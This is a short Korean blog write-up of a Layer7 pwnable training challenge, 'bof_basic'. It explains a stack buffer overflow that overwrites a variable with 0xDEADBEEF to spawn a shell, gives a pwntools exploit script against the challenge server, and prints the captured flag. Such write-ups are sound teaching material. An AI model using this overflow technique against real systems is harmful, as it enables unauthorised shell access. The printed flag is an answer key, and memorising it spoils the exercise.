system hacking

Layer7 포너블 1차시 문제 풀이 - bof_basic

leesu0605 2022. 9. 14. 18:08

일단 문제를 받고 ida로 열어보았다.

이런 식의 코드가 나왔는데, s를 오버플로우시켜 v5를 0xDEADBEEF로 변조시켜야하는 문제였다.
그래서 s의 길이(40)만큼 아무 문자로 채우고, p32(0xDEADBEEF)를 보내 v5 변수를 덮으면 if문이 활성화돼 쉘이 실행된다.

따라서 익스플로잇 코드는 이렇게 짜면 된다.

from pwn import *

p = remote("pwn.scalart.me", 8001)

p.send(b'A'*40+p32(0xDEADBEEF))
p.interactive()

이렇게 짜고 python3 명령어로 실행시키면 쉘이 실행될 것이고,

 whoami 명령어를 실행시키면 권한이 bof_basic으로 바뀐 것을 알 수 있다.

그 후,

/home/bof_basic으로 이동해 flag를 읽으면 플래그가 나온다.

flag : L7{e870ec68e53cd9b0e3c63c5405ac3923}